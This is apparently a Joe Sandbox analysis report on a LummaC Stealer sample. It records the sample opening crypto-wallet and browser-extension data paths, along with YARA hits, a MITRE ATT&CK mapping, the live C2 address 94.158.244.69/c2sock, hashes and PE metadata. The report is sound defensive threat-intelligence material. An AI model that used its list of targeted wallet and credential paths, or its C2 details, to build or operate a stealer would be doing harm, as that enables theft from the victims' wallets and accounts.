Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: I2BJhmJou4.exe PID: 7500, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 0.2.I2BJhmJou4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I2BJhmJou4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.I2BJhmJou4.exe.49f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1423642848.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I2BJhmJou4.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 LSASS Driver	1 Process Injection	32 Virtualization/Sandbox Evasion	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 LSASS Driver	1 Process Injection	LSASS Memory	471 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	32 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
I2BJhmJou4.exe	84%	ReversingLabs	Win32.Trojan.Smokeloader
I2BJhmJou4.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://94.158.244.69/KH0	0%	Avira URL Cloud	safe
http://94.158.244.69/c2socklb:	0%	Avira URL Cloud	safe
http://94.158.244.69/yH	0%	Avira URL Cloud	safe
http://94.158.244.69/c2socks	0%	Avira URL Cloud	safe
http://94.158.244.69/oH	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockab?	0%	Avira URL Cloud	safe
http://94.158.244.69/%OB	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://94.158.244.69/c2sock	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2socks	I2BJhmJou4.exe, 00000000.00000002.3246415805.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sockab?	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2socklb:	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/%OB	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/KH0	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	I2BJhmJou4.exe, 00000000.00000002.3251368757.0000000005D14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/oH	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	I2BJhmJou4.exe, 00000000.00000002.3252254739.0000000006403000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	I2BJhmJou4.exe, 00000000.00000003.1913354234.0000000005050000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/yH	I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000055E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.158.244.69	unknown	Moldova Republic of		39798	MIVOCLOUDMD	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555044
Start date and time:	2024-11-13 10:52:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	I2BJhmJou4.exe renamed because original name is a hash value
Original Sample Name:	16f4ab4f0ba6ebd746bcc6b032346ffb80f88814e78e103739af0e5569fee962.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 59 Number of non-executed functions: 104
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: I2BJhmJou4.exe

Simulations

Behavior and APIs

Time	Type	Description
04:56:38	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.158.244.69	OlZzqwjrwO.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	Vd3tOP5WSD.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	g1kWKm20Z5.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	cgln32y2HF.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	4Oq9i3gm0g.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	OlZzqwjrwO.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	Vd3tOP5WSD.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	g1kWKm20Z5.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	cgln32y2HF.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	4Oq9i3gm0g.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_I2BJhmJou4.exe_7abd4b2ffccb829face88ca1d1d9f1e903b9_37ce086c_ac1319ab-d779-4ed1-ae4c-b7b64b7db42d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8423482439830231
Encrypted:	false
SSDEEP:	96:HEyYA3haHCslA4hclAS7Zf2QXIDcQqc6acEVcw3ZOeOO+HbHg/PB6HeaOy1EoqzV:kyYfCMYb0UevojGdzuiF8Z24IO8QLC
MD5:	7E20C02C760B970A272638D3132B1F18
SHA1:	DC4E32AD39F5DE08EA777235407803FBE3299D54
SHA-256:	C4DEC0AD2909B6C6D565324ED07123129CBBE832F68AE3D1D3EDFD813DFD603A
SHA-512:	74156CEE6DF706CCE73A40480F0D2C8FDF06E3D8B90B3847B3EAD7EACD38BC39F6D04592AF9108FF9754F4DC847ACE58BE498A61888C81633572E4AAB878446B
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.9.6.5.3.9.2.5.0.0.6.3.0.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.9.6.5.3.9.2.8.9.1.2.5.1.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.c.1.3.1.9.a.b.-.d.7.7.9.-.4.e.d.1.-.a.e.4.c.-.b.7.b.6.4.b.7.d.b.4.2.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.d.4.2.e.d.c.-.6.e.3.4.-.4.f.6.2.-.8.5.7.6.-.a.b.a.e.8.a.e.f.2.6.6.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.I.2.B.J.h.m.J.o.u.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.4.c.-.0.0.0.1.-.0.0.1.4.-.d.9.b.f.-.c.2.e.7.b.1.3.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.c.0.c.4.6.6.b.8.f.4.7.b.5.1.3.3.0.7.1.3.f.3.3.6.2.4.5.9.b.8.d.0.0.0.0.f.f.f.f.!.0.0.0.0.a.7.f.0.7.5.b.a.3.7.9.6.1.5.4.5.a.e.0.a.8.1.9.b.d.a.5.d.2.b.e.2.8.6.1.8.d.6.0.d.!.I.2.B.J.h.m.J.o.u.4...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40BD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Nov 13 09:56:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	41968
Entropy (8bit):	2.4935738305279456
Encrypted:	false
SSDEEP:	192:fyQX3wNBFlgOSbfHJnfoFlD67/BbT+h/ar3HPLx4Nqn:LwTFpSbfHFgDuBi/aLvLwa
MD5:	8B78AC2ED0F69C319E060BADFE213524
SHA1:	601739C05ABC194E87C7460788438799CBF52279
SHA-256:	FF8E4F672902C473E4280A314A6DF5D5E5B6F4E49ECDD95DFC54BE1BCDB1F486
SHA-512:	24AD49F347FB655AFE6B623D8B91878472F8F9559300CD58EBE5208F155219CD6C70D7839F379E515E5F33CD54915F4C7595F22C86C3C7B5ED723FE0FEDDFEDB
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........w4g............4...............H.......<...........T...."..........`.......8...........T............B..Pa..........L...........8...............................................................................eJ..............GenuineIntel............T.......L....w4gM............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER414B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.7024715539745583
Encrypted:	false
SSDEEP:	192:R6l7wVeJRI6aY26YSqSUdgmfdYpDy89bvEsf0FFm:R6lXJ+6ah6YvSUdgmfdev3fT
MD5:	5A0CF5FBCD8F402C4DF17AED5075F114
SHA1:	1E6FDE590E3DFB54753CF31FE1D5432D231D3B54
SHA-256:	A3E1E476F62630AA35B84FAD76C8DEF4C2B9835377FF249287B5726481AC308C
SHA-512:	79DC2E4BA0B79F7673F747D0A4FAC5818DB53521C871D2A17C09AB57CFE0F521724C16AD6FD3CC7FB461045BFED6FF679E39ED3A8C4F48EC62D7D3771A4AC760
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER417B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.473223919125026
Encrypted:	false
SSDEEP:	48:cvIwWl8zsSJg77aI9nMWpW8VYuYm8M4J9tFwjV+q8+BScqId:uIjfgI7xl7VGJSVxzqId
MD5:	A9DE4FB8DFEFBECA1EDB7075BAAB6942
SHA1:	E9492D8EC00AA32349719DDA47300D3126FCC182
SHA-256:	254298481A1AA0446D17019EB4A7D0F48209075DC955F7C6BAC550AA0983EE6B
SHA-512:	0746F6A96935320BE3AE6038EC8892C628DC74F4CC5A0EDAFDB7922021FB40AE2BEFCBB3CC292CFDA00CAD88AFDA0EBD91E7B9ACD863BA52F5153C200E9BB9B1
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="586139" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372088739129614
Encrypted:	false
SSDEEP:	6144:sFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguN2iL5:cV1QyWWI/glMM6kF7Uq
MD5:	B83EF58CD4FEE920D622AC23A56F77CB
SHA1:	19A8F49E9246F62FEC7BAEB73CCE1E249139E9C9
SHA-256:	EA9E5BBC0B046BCF8D75AD6F787A7F901114BB10DDCB6E663A9A97085515546B
SHA-512:	1FB5AF3352DF4A009AE92C7839AA8E41D861C386B572F718255C9654A00C735AC3C1B7F4BE99BA437A1C9AD2F4BF12F554B62D2FD573F30A570B940361E011F2
Malicious:	false
Reputation:	low
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmN.nQ.5..............................................................................................................................................................................................................................................................................................................................................Z.ye........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.161752093231944
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	I2BJhmJou4.exe
File size:	474'624 bytes
MD5:	c847cb3090530ec9ae2e82805a03360d
SHA1:	a7f075ba37961545ae0a819bda5d2be28618d60d
SHA256:	16f4ab4f0ba6ebd746bcc6b032346ffb80f88814e78e103739af0e5569fee962
SHA512:	d8640e1ef34c4679215d515ef9594c39a9db51a672897489926a6a2b60cb2376beb0634808c11b72104a02c26c1cacd9dc9d98c78862b2411f3cc4bbe72ea32c
SSDEEP:	12288:YALM9byCGBIH114+JbdWBOCGDInCDuz3gTR9:YAebZG2H11NJb4G0nBOR
TLSH:	2CA49D4353A1BD59EB254B729E1EC6F8361DF9518F093B7A720C6E2F06B0872C1A7711
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y...............n.......n<......n=......`...............n9......n.......n......Rich............PE..L...+..a...................

File Icon


Icon Hash:	4a183e435119984a

Static PE Info

General

Entrypoint:	0x405c58
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61B51A2B [Sat Dec 11 21:37:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
